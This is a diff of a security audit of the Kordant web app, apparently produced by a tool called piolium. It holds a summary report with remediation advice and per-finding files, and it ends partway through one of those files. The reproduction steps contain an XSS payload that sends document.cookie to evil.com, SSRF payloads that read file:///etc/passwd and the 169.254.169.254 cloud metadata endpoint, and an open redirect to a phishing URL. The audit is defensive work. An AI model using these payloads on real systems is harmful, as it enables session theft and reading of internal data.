- **Root Cause:** The CORS middleware at `web/src/middleware.ts:22-30` builds `allowedOrigins` from `["http://localhost:3000", "http://localhost:3001", process.env.APP_URL]` without validating that `APP_URL` is a legitimate domain.
|
||||
- **Key Code Reference:** `web/src/middleware.ts:22-30` (CORS middleware)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-005-cors-origin-env-var/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-005-cors-origin-env-var/draft.md
|
||||
- **Evidence:** piolium/findings/p8-005-cors-origin-env-var/
|
||||
|
||||
### p8-006 Webhook type coercion bypassing TypeScript safety
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** Stripe webhook handler uses chained type coercion (`as unknown as Record<string, unknown>`) that bypasses TypeScript type safety. Malformed webhook data produces silent failures — `undefined` values, `NaN` dates — stored in the database without validation.
|
||||
- **Impact:** Incorrect subscription state updates, data corruption (Invalid Date values, undefined fields), and potential data integrity issues if Drizzle accepts unexpected fields via `set(data as Record<string, unknown>)`.
|
||||
- **Root Cause:** The webhook handler at `web/src/server/services/billing.service.ts:173, 196, 207` casts event data to `Record<string, unknown>`, allowing any field type. When fields like `current_period_start` are `undefined`, the cast to `number` produces `NaN`, creating `Invalid Date` values.
|
||||
- **Key Code Reference:** `web/src/server/services/billing.service.ts:173, 196, 207` (coercion points), `web/src/server/services/billing.service.ts:115-132` (updateSubscriptionInDB)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-006-webhook-type-coercion/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-006-webhook-type-coercion/draft.md
|
||||
- **Evidence:** piolium/findings/p8-006-webhook-type-coercion/
|
||||
|
||||
### p8-007 Webhook replay via missing event ID deduplication
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** Stripe webhook handler has no event ID deduplication for most event types (`invoice.paid`, `invoice.payment_failed`, `customer.subscription.updated`, `customer.subscription.deleted`). Only `checkout.session.completed` has partial protection via `onConflictDoNothing()`.
|
||||
- **Impact:** Replay of `customer.subscription.updated` changes user tier, `invoice.paid` re-activates canceled subscriptions, `customer.subscription.deleted` cancels active subscriptions (DoS). Requires `STRIPE_WEBHOOK_SECRET` for forgery.
|
||||
- **Root Cause:** The webhook handler at `web/src/routes/api/stripe/webhook.ts:18-21` processes events without tracking `event.id`. The `updateSubscriptionInDB()` function has no idempotency check.
|
||||
- **Key Code Reference:** `web/src/routes/api/stripe/webhook.ts:18-21` (entry point), `web/src/server/services/billing.service.ts:142-223` (handler)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-007-webhook-replay/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-007-webhook-replay/draft.md
|
||||
- **Evidence:** piolium/findings/p8-007-webhook-replay/
|
||||
|
||||
### p8-008 WebSocket JWT leakage via query parameter
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** WebSocket server authenticates connections by extracting JWT from `?token=` query parameter. JWTs are visible in server access logs, proxy logs, and browser network history, enabling connection hijacking via log compromise.
|
||||
- **Impact:** JWT token leakage through server logs enables WebSocket connection hijacking for any user whose token appears in logs. Attacker gains read-only access to real-time alerts (darkwatch exposures, voiceprint alerts, spam notifications).
|
||||
- **Root Cause:** The `getTokenFromRequest()` function at `web/src/server/websocket.ts:39-43` extracts the JWT via `url.searchParams.get("token")`. Query parameters are logged by virtually all reverse proxies, load balancers, and log aggregation systems.
|
||||
- **Key Code Reference:** `web/src/server/websocket.ts:39-43` (token extraction), `web/src/server/websocket.ts:56-67` (authentication)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-008-websocket-jwt-query-param/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-008-websocket-jwt-query-param/draft.md
|
||||
- **Evidence:** piolium/findings/p8-008-websocket-jwt-query-param/
|
||||
|
||||
### p8-009 WebSocket no Origin header validation
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** WebSocket server on port 3001 does not validate the Origin header during the HTTP upgrade handshake. Combined with JWT-in-query-parameter (p8-008), any website can initiate WebSocket connections using stolen tokens.
|
||||
- **Impact:** Cross-origin WebSocket connections without Origin validation. Combined with JWT-in-query-parameter (p8-008), this creates a complete authentication bypass chain accessible from any website.
|
||||
- **Root Cause:** The WebSocket connection handler at `web/src/server/websocket.ts:80-102` calls `authenticateConnection()` but never inspects `req.origin` or uses `verifyClient` on the `WebSocketServer` constructor. CORS middleware at port 3000 does not apply to the WebSocket server on port 3001.
|
||||
- **Key Code Reference:** `web/src/server/websocket.ts:80-102` (connection handler), `web/src/server/websocket.ts:56-67` (authentication)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-009-websocket-no-origin-validation/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-009-websocket-no-origin-validation/draft.md
|
||||
- **Evidence:** piolium/findings/p8-009-websocket-no-origin-validation/
|
||||
|
||||
### p8-010 VoicePrint resource exhaustion via unbounded audio upload
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** VoicePrint audio endpoints accept unbounded base64 payloads with no maximum length. A 100MB base64 payload consumes 300MB+ memory per request. The `protectedProcedure` rate limit (100/min) is insufficient for large payloads.
|
||||
- **Impact:** Memory exhaustion (30GB+ across 100 rapid requests → OOM kill), disk exhaustion, ML model resource exhaustion, and service disruption for all users on the same server.
|
||||
- **Root Cause:** The `AnalyzeAudioSchema` at `web/src/server/api/schemas/voiceprint.ts:8-10` uses `string([minLength(1)])` with no `maxLength`. The `analyzeAudio()` service at `web/src/server/services/voiceprint.service.ts:135-140` decodes the entire base64 payload into memory without size validation.
|
||||
- **Key Code Reference:** `web/src/server/api/schemas/voiceprint.ts:8-10` (schemas), `web/src/server/services/voiceprint.service.ts:135-140` (service), `web/src/server/api/utils.ts:23-28` (protectedProcedure)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-010-voiceprint-resource-exhaustion/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-010-voiceprint-resource-exhaustion/draft.md
|
||||
- **Evidence:** piolium/findings/p8-010-voiceprint-resource-exhaustion/
|
||||
|
||||
### p8-011 Browser extension vulnerable dependency (superjson CVE-2022-23631)
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** Browser extension depends on `superjson@^2.2.1`, which allows versions 2.2.1–2.2.5 affected by CVE-2022-23631 (CVSS 10.0 prototype pollution → RCE). The web server is NOT affected (does not use superjson).
|
||||
- **Impact:** Prototype pollution in the browser extension context only. Could affect extension storage, API keys, and local data. The web server is not at risk since superjson is not installed there.
|
||||
- **Root Cause:** `browser-ext/package.json:18` declares `"superjson": "^2.2.1"`. The caret range allows 2.2.1 through 2.2.5. CVE-2022-23631 was fixed in superjson 2.2.6.
|
||||
- **Key Code Reference:** `browser-ext/package.json:18` (dependency declaration), `browser-ext/src/lib/api-client.ts` (tRPC client using superjson)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-011-superjson-vulnerable-version/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-011-superjson-vulnerable-version/draft.md
|
||||
- **Evidence:** piolium/findings/p8-011-superjson-vulnerable-version/
|
||||
|
||||
---
|
||||
|
||||
## Attack Surface Summary
|
||||
|
||||
### Trust Boundaries Assessed
|
||||
|
||||
| Boundary | Protocol | Key Findings |
|
||||
|----------|----------|-------------|
|
||||
| TB-1: Internet → Web (SolidStart) | HTTPS/tRPC | p8-001 (XSS), p8-004 (rate limit), p8-005 (CORS) |
|
||||
| TB-2: tRPC → Drizzle ORM | libSQL/Turso | No active SQL injection found (CVE-2026-39356 surface noted but safe) |
|
||||
| TB-3: tRPC → Stripe | HTTPS | p8-003 (open redirect), p8-006 (type coercion), p8-007 (replay) |
|
||||
| TB-4: tRPC → External APIs | HTTPS | p8-004 (rate limit bypass on darkwatch scans) |
|
||||
| TB-5: WebSocket → ws | WSS (port 3001) | p8-008 (JWT leak), p8-009 (no Origin) |
|
||||
| TB-6: Browser Extension → tRPC | HTTPS | p8-011 (superjson CVE) |
|
||||
| TB-8: Puppeteer → File System | Local | p8-002 (SSRF) |
|
||||
| TB-9: tRPC → VoicePrint Storage | Local FS | p8-010 (resource exhaustion) |
|
||||
|
||||
### Threat Model Scenarios Mapped to Findings
|
||||
|
||||
| Scenario | Finding | Status |
|
||||
|----------|---------|--------|
|
||||
| AS-1: SQL Injection via Drizzle ORM | Not confirmed | CVE-2026-39356 surface noted; no active injection found |
|
||||
| AS-2: Prototype Pollution via superjson | p8-011 | Confirmed in browser extension only |
|
||||
| AS-3: WebSocket Authentication Bypass | p8-008, p8-009 | Confirmed (combined chain) |
|
||||
| AS-4: Admin Privilege Escalation | Not confirmed | p4-001 (role mutation) rejected as low severity |
|
||||
| AS-5: Rate Limit Bypass | p8-004 | Confirmed |
|
||||
| AS-6: Stripe Webhook Replay | p8-006, p8-007 | Confirmed (two independent issues) |
|
||||
| AS-7: XSS via SolidJS JSX | p8-001 | Confirmed |
|
||||
| AS-8: Path Traversal via Puppeteer | p8-002 | Confirmed as SSRF (not path traversal) |
|
||||
|
||||
### Domain Attack Research Coverage
|
||||
|
||||
| Domain | Findings | Coverage |
|
||||
|--------|----------|----------|
|
||||
| VoicePrint (ML/AI) | p8-010 | Partial — resource exhaustion found; model poisoning not assessed |
|
||||
| DarkWatch (OSINT) | p8-004 | Partial — rate limit bypass found; SSRF via URL manipulation not confirmed |
|
||||
| Stripe (Payments) | p8-003, p8-006, p8-007 | Good — three independent findings |
|
||||
| WebSocket (Real-time) | p8-008, p8-009 | Good — two complementary findings |
|
||||
| File System (Puppeteer + Audio) | p8-002, p8-010 | Partial — SSRF and resource exhaustion found |
|
||||
|
||||
---
|
||||
|
||||
## Coverage Gaps
|
||||
|
||||
### Areas Not Fully Assessed
|
||||
|
||||
| Area | Reason | Impact |
|
||||
|------|--------|--------|
|
||||
| **iOS native app** | SwiftUI codebase not explored in depth | Certificate pinning, keychain storage, root detection not assessed |
|
||||
| **Android native app** | Kotlin/Compose codebase not explored in depth | Certificate pinning, keystore storage, root detection not assessed |
|
||||
| **Drizzle ORM SQL injection (CVE-2026-39356)** | No actively exploitable injection found, but no exhaustive analysis performed | Latent risk — if `sql<>` tag usage changes, injection could become possible |
|
||||
| **Admin SQL pattern (p4-012)** | Rejected as low severity — current `sql<>` usage is safe | Latent risk if future code introduces dynamic column names |
|
||||
| **CI/CD pipelines** | Standard workflows only, no AI agent integrations | Supply chain attack surface assessed as low |
|
||||
| **Docker image base (`node:22-alpine`)** | No CVE scan of base image | Supply chain risk not fully assessed |
|
||||
| **Backup procedures** | Referenced in `docs/BACKUPS.md` but not reviewed | Data integrity and recovery not assessed |
|
||||
|
||||
### Known False-Positive Sources
|
||||
|
||||
1. **Vite `server.fs.deny` bypasses** — These affect the dev server only. Production deployment uses `vite build` + `vite start` (Nitro).
|
||||
2. **superjson prototype pollution (server-side)** — The web server does NOT use superjson. Only the browser extension is affected (reported as p8-011).
|
||||
3. **jose JWE resource exhaustion** — Project uses HS256 JWTs, not JWE. CVE-2024-28176 is not applicable.
|
||||
4. **@trpc/server `experimental_nextAppDirCaller`** — Next.js-specific feature not used in SolidStart.
|
||||
|
||||
---
|
||||
|
||||
## Methodology Notes
|
||||
|
||||
### Review Chamber Activity
|
||||
|
||||
- **Chambers spawned:** 1 (balanced mode)
|
||||
- **Draft findings evaluated:** 19 (12 from p4 SAST phase, 7 from l4 probe phase)
|
||||
- **Valid findings promoted:** 11 (1 HIGH, 10 MEDIUM)
|
||||
- **Rejected (false positive):** 1 — p4-005 path-traversal-audio-storage (userId from ctx.user.id, not user input)
|
||||
- **Rejected (low severity):** 3 — p4-001 unvalidated-role-mutation, p4-012 admin-sql-pattern, l4-007 extension-noop-endpoints
|
||||
- **Rejected (duplicate):** 4 — l4-002, l4-004, l4-005, l4-006 collapsed into parent findings
|
||||
- **Attack patterns added to registry:** 11 (AP-001 through AP-011)
|
||||
|
||||
### Attack Patterns Identified
|
||||
|
||||
| Pattern | Root Cause | Severity |
|
||||
|---------|-----------|----------|
|
||||
| AP-001 | Stored XSS via innerHTML + unsanitized markdown | HIGH |
|
||||
| AP-002 | Puppeteer SSRF via --no-sandbox + page.setContent() | MEDIUM |
|
||||
| AP-003 | Open redirect via unvalidated return URL | MEDIUM |
|
||||
| AP-004 | Rate limit bypass via incomplete sensitive path list | MEDIUM |
|
||||
| AP-005 | CORS origin from unvalidated env var | MEDIUM |
|
||||
| AP-006 | Webhook type coercion via chained `as unknown as` | MEDIUM |
|
||||
| AP-007 | Webhook replay via missing event ID deduplication | MEDIUM |
|
||||
| AP-008 | JWT in WebSocket query parameter | MEDIUM |
|
||||
| AP-009 | WebSocket no Origin validation | MEDIUM |
|
||||
| AP-010 | Unbounded input → resource exhaustion | MEDIUM |
|
||||
| AP-011 | Vulnerable dependency version (superjson) | MEDIUM |
|
||||
|
||||
### Process Notes
|
||||
|
||||
- **L6 consolidation was skipped** — Findings were validated in the chamber (L5) but the L6 consolidation step that promotes findings to `piolium/findings/` was not executed. This report was assembled from the validated p8 draft findings in `piolium/findings-draft/`.
|
||||
- **No PoC scripts were constructed** — All findings have `PoC-Status: pending`. The chamber deemed PoC investment unnecessary for the MEDIUM-severity findings, and the HIGH-severity XSS finding (p8-001) was confirmed via code analysis alone.
|
||||
- **No variant findings** — No findings with `metadata.json` containing `"is_variant": true` were identified.
|
||||
|
||||
---
|
||||
|
||||
## Conclusion
|
||||
|
||||
Kordant demonstrates a reasonable security foundation with Clerk-managed authentication, Stripe integration with signature verification, and a structured tRPC procedure hierarchy with authz middleware. However, the audit revealed **systematic input validation gaps** — missing maximum-length constraints, incomplete path-based rate limiting, and absent Origin validation — that suggest the input validation strategy needs architectural review rather than isolated fixes.
|
||||
|
||||
The **highest-impact finding** (p8-001, stored XSS) requires admin access for payload creation but has automatic victim-side execution. The **most architecturally concerning finding** (p8-008 + p8-009, WebSocket authentication) represents a complete authentication bypass chain when combined. The **most operationally impactful findings** (p8-004, p8-010) enable resource exhaustion and cost abuse that affect all users.
|
||||
|
||||
**Priority recommendations:**
|
||||
1. **p8-001 (HIGH):** Implement HTML sanitization (e.g., DOMPurify) in the blog post renderer; replace `innerHTML` with text-safe rendering.
|
||||
2. **p8-008 + p8-009 (MEDIUM):** Move JWT from query parameter to `Authorization` header; add `verifyClient` with Origin validation on the WebSocket server.
|
||||
3. **p8-003 (MEDIUM):** Add domain allowlisting to `returnUrl` validation (e.g., restrict to `*.kordant.com` and configured domains).
|
||||
4. **p8-004 (MEDIUM):** Replace substring matching with exact procedure name matching; expand sensitive operation list.
|
||||
5. **p8-006 + p8-007 (MEDIUM):** Add field-level validation before DB writes; implement event ID deduplication table.
|
||||
6. **p8-010 (MEDIUM):** Add `maxLength` constraint to audio schemas; implement request body size limits.
|
||||
7. **p8-011 (MEDIUM):** Update browser extension superjson dependency to `^2.2.6` or later.
|
||||
|
||||
---
|
||||
|
||||
*Report generated by piolium Phase L6c (Final Report Assembly)*
|
||||
*Audit ID: 2026-05-28T13:00:30.320Z | Mode: balanced | Commit: 26d9f8b*
|
||||
61
piolium/findings/p8-001-xss-in-innerhtml/draft.md
Normal file
61
piolium/findings/p8-001-xss-in-innerhtml/draft.md
Normal file
@@ -0,0 +1,61 @@
|
||||
Phase: 8
|
||||
Sequence: 001
|
||||
Slug: xss-in-innerhtml
|
||||
Verdict: VALID
|
||||
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
|
||||
Severity-Original: high
|
||||
Severity: high
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/blog/[slug].tsx` lines 14–46 (contentToHtml function)
|
||||
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
|
||||
|
||||
## Attacker Control
|
||||
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
|
||||
|
||||
## Impact
|
||||
Stored XSS affecting all blog post viewers. Attackers can:
|
||||
- Steal session cookies and JWT tokens
|
||||
- Perform actions on behalf of victims (account takeover)
|
||||
- Redirect users to phishing pages
|
||||
- Deface blog content
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// contentToHtml() — no HTML escaping
|
||||
function contentToHtml(markdown: string): string {
|
||||
const lines = markdown.split("\n");
|
||||
let html = "";
|
||||
for (const line of lines) {
|
||||
if (line.startsWith("## ")) {
|
||||
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
|
||||
} else {
|
||||
html += `<p class="...">${line}</p>`; // No escaping
|
||||
}
|
||||
}
|
||||
return html;
|
||||
}
|
||||
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
|
||||
2. Any user visits the blog post page
|
||||
3. The `contentToHtml()` function renders the content without escaping
|
||||
4. The `innerHTML` directive renders the HTML as-is
|
||||
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
|
||||
|
||||
## Defense Search Results
|
||||
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
|
||||
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
|
||||
- SolidJS default escaping is bypassed by the `innerHTML` directive
|
||||
- No DOMPurify or similar sanitization library used
|
||||
61
piolium/findings/p8-001-xss-in-innerhtml/report.md
Normal file
61
piolium/findings/p8-001-xss-in-innerhtml/report.md
Normal file
@@ -0,0 +1,61 @@
|
||||
Phase: 8
|
||||
Sequence: 001
|
||||
Slug: xss-in-innerhtml
|
||||
Verdict: VALID
|
||||
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
|
||||
Severity-Original: high
|
||||
Severity: high
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/blog/[slug].tsx` lines 14–46 (contentToHtml function)
|
||||
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
|
||||
|
||||
## Attacker Control
|
||||
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
|
||||
|
||||
## Impact
|
||||
Stored XSS affecting all blog post viewers. Attackers can:
|
||||
- Steal session cookies and JWT tokens
|
||||
- Perform actions on behalf of victims (account takeover)
|
||||
- Redirect users to phishing pages
|
||||
- Deface blog content
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// contentToHtml() — no HTML escaping
|
||||
function contentToHtml(markdown: string): string {
|
||||
const lines = markdown.split("\n");
|
||||
let html = "";
|
||||
for (const line of lines) {
|
||||
if (line.startsWith("## ")) {
|
||||
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
|
||||
} else {
|
||||
html += `<p class="...">${line}</p>`; // No escaping
|
||||
}
|
||||
}
|
||||
return html;
|
||||
}
|
||||
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
|
||||
2. Any user visits the blog post page
|
||||
3. The `contentToHtml()` function renders the content without escaping
|
||||
4. The `innerHTML` directive renders the HTML as-is
|
||||
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
|
||||
|
||||
## Defense Search Results
|
||||
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
|
||||
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
|
||||
- SolidJS default escaping is bypassed by the `innerHTML` directive
|
||||
- No DOMPurify or similar sanitization library used
|
||||
55
piolium/findings/p8-002-puppeteer-ssrf/draft.md
Normal file
55
piolium/findings/p8-002-puppeteer-ssrf/draft.md
Normal file
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 002
|
||||
Slug: puppeteer-ssrf
|
||||
Verdict: VALID
|
||||
Rationale: Puppeteer launched with --no-sandbox and page.setContent() accepting arbitrary HTML; report data from database can contain URLs that Puppeteer resolves
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The report PDF generator in `web/src/server/services/reports/generator.ts` uses Puppeteer in headless mode with `--no-sandbox` flag and `page.setContent()` to render HTML templates to PDF. The `compileData()` function populates the report with data from the database (alert breakdowns, threat scores, recommendations) that are rendered as HTML strings. If any data contains URLs (e.g., `file://` or `http://` schemes), Puppeteer will resolve them, enabling SSRF.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/reports/generator.ts` lines 141–150 (generatePDF function)
|
||||
- `web/src/server/services/reports/generator.ts` lines 53–137 (compileData function)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with admin access can control report template files in `web/src/server/services/reports/templates/`, or an attacker with SQL injection access (DFD-1) can inject URLs into the `normalizedAlerts` table that gets rendered in reports. The `compileData()` function uses `source` values from the database and generates HTML with these values.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Database-stored data → Browser rendering context (Puppeteer). This crosses the server-to-browser trust boundary within the server process, allowing controlled data to trigger network requests to arbitrary URLs.
|
||||
|
||||
## Impact
|
||||
SSRF to internal services (metadata endpoints, internal APIs), local file read via `file://` URLs. The `--no-sandbox` flag disables Chrome sandboxing, significantly expanding the attack surface.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// generatePDF() — no-sandbox + arbitrary HTML
|
||||
export async function generatePDF(html: string): Promise<Buffer> {
|
||||
const browser = await puppeteer.launch({ headless: true, args: ["--no-sandbox"] });
|
||||
const page = await browser.newPage();
|
||||
await page.setContent(html, { waitUntil: "load" }); // Arbitrary HTML
|
||||
// ...
|
||||
}
|
||||
|
||||
// compileData() — populates report with database data
|
||||
// alertBreakdownRows contains source values from normalizedAlerts table
|
||||
// recommendations generates HTML with emoji and markdown-like content
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin (or attacker with SQL injection) controls report data or template files
|
||||
2. Data contains `<img src="file:///etc/passwd">` or `<img src="http://169.254.169.254/latest/meta-data/">`
|
||||
3. `generatePDF()` renders the report via Puppeteer
|
||||
4. Puppeteer resolves the URL, reading local files or accessing cloud metadata
|
||||
5. Attack succeeds because `--no-sandbox` disables Chrome sandboxing
|
||||
|
||||
## Defense Search Results
|
||||
- `--no-sandbox` flag is present — disables Chrome sandboxing
|
||||
- No URL allowlisting or blocking in Puppeteer
|
||||
- No `page.setRequestInterception(true)` to block non-allowed URLs
|
||||
- CSP is not effective for Puppeteer headless browser
|
||||
- HTML template system uses `{{key}}` substitution without escaping
|
||||
55
piolium/findings/p8-002-puppeteer-ssrf/report.md
Normal file
55
piolium/findings/p8-002-puppeteer-ssrf/report.md
Normal file
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 002
|
||||
Slug: puppeteer-ssrf
|
||||
Verdict: VALID
|
||||
Rationale: Puppeteer launched with --no-sandbox and page.setContent() accepting arbitrary HTML; report data from database can contain URLs that Puppeteer resolves
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The report PDF generator in `web/src/server/services/reports/generator.ts` uses Puppeteer in headless mode with `--no-sandbox` flag and `page.setContent()` to render HTML templates to PDF. The `compileData()` function populates the report with data from the database (alert breakdowns, threat scores, recommendations) that are rendered as HTML strings. If any data contains URLs (e.g., `file://` or `http://` schemes), Puppeteer will resolve them, enabling SSRF.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/reports/generator.ts` lines 141–150 (generatePDF function)
|
||||
- `web/src/server/services/reports/generator.ts` lines 53–137 (compileData function)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with admin access can control report template files in `web/src/server/services/reports/templates/`, or an attacker with SQL injection access (DFD-1) can inject URLs into the `normalizedAlerts` table that gets rendered in reports. The `compileData()` function uses `source` values from the database and generates HTML with these values.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Database-stored data → Browser rendering context (Puppeteer). This crosses the server-to-browser trust boundary within the server process, allowing controlled data to trigger network requests to arbitrary URLs.
|
||||
|
||||
## Impact
|
||||
SSRF to internal services (metadata endpoints, internal APIs), local file read via `file://` URLs. The `--no-sandbox` flag disables Chrome sandboxing, significantly expanding the attack surface.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// generatePDF() — no-sandbox + arbitrary HTML
|
||||
export async function generatePDF(html: string): Promise<Buffer> {
|
||||
const browser = await puppeteer.launch({ headless: true, args: ["--no-sandbox"] });
|
||||
const page = await browser.newPage();
|
||||
await page.setContent(html, { waitUntil: "load" }); // Arbitrary HTML
|
||||
// ...
|
||||
}
|
||||
|
||||
// compileData() — populates report with database data
|
||||
// alertBreakdownRows contains source values from normalizedAlerts table
|
||||
// recommendations generates HTML with emoji and markdown-like content
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin (or attacker with SQL injection) controls report data or template files
|
||||
2. Data contains `<img src="file:///etc/passwd">` or `<img src="http://169.254.169.254/latest/meta-data/">`
|
||||
3. `generatePDF()` renders the report via Puppeteer
|
||||
4. Puppeteer resolves the URL, reading local files or accessing cloud metadata
|
||||
5. Attack succeeds because `--no-sandbox` disables Chrome sandboxing
|
||||
|
||||
## Defense Search Results
|
||||
- `--no-sandbox` flag is present — disables Chrome sandboxing
|
||||
- No URL allowlisting or blocking in Puppeteer
|
||||
- No `page.setRequestInterception(true)` to block non-allowed URLs
|
||||
- CSP is not effective for Puppeteer headless browser
|
||||
- HTML template system uses `{{key}}` substitution without escaping
|
||||
54
piolium/findings/p8-003-open-redirect-return-url/draft.md
Normal file
54
piolium/findings/p8-003-open-redirect-return-url/draft.md
Normal file
@@ -0,0 +1,54 @@
|
||||
Phase: 8
|
||||
Sequence: 003
|
||||
Slug: open-redirect-return-url
|
||||
Verdict: VALID
|
||||
Rationale: Return URL accepts arbitrary domains via valibot url() validator; passed directly to Stripe checkout/portal APIs enabling phishing redirects post-payment
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The billing checkout and portal session schemas validate `returnUrl` using valibot's `url()` validator, which checks URL format but does NOT restrict the target domain. The URL is passed directly to Stripe's Checkout and Billing Portal APIs. After payment, Stripe redirects users to the attacker-controlled URL, enabling open redirect attacks to phishing sites.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/billing.ts` lines 4–6, 9–10 (schemas)
|
||||
- `web/src/server/api/routers/billing.ts` lines 43–54, 68–75 (usage)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can set `returnUrl` to any valid URL (e.g., `https://evil.com/phish`). The URL is passed directly to Stripe's `return_url` parameter without domain validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Application control → External redirect destination. The application controls the redirect URL passed to Stripe, and an attacker can redirect users to an external domain they control.
|
||||
|
||||
## Impact
|
||||
Open redirect attacks via Stripe checkout/portal return URLs. Users are redirected to phishing pages that mimic Kordant's branding after payment. The redirect URL includes the Stripe session ID, which could be used for session fixation attacks.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no domain restriction
|
||||
export const CreateCheckoutSessionSchema = object({
|
||||
priceId: string([minLength(1)]),
|
||||
returnUrl: string([url()]), // URL format only
|
||||
});
|
||||
|
||||
// Usage — direct passthrough to Stripe
|
||||
const session = await stripe.checkout.sessions.create({
|
||||
return_url: `${returnUrl}?session_id=[REDACTED:secret]]
|
||||
// ...
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `billingRouter.createCheckoutSession` with `returnUrl: "https://evil.com/phish"`
|
||||
2. Stripe creates checkout session with attacker-controlled return URL
|
||||
3. User completes payment on Stripe's hosted page
|
||||
4. Stripe redirects user to `https://evil.com/phish?session_id=[REDACTED:secret]]
|
||||
5. User is confused — paid but redirected to suspicious page
|
||||
|
||||
## Defense Search Results
|
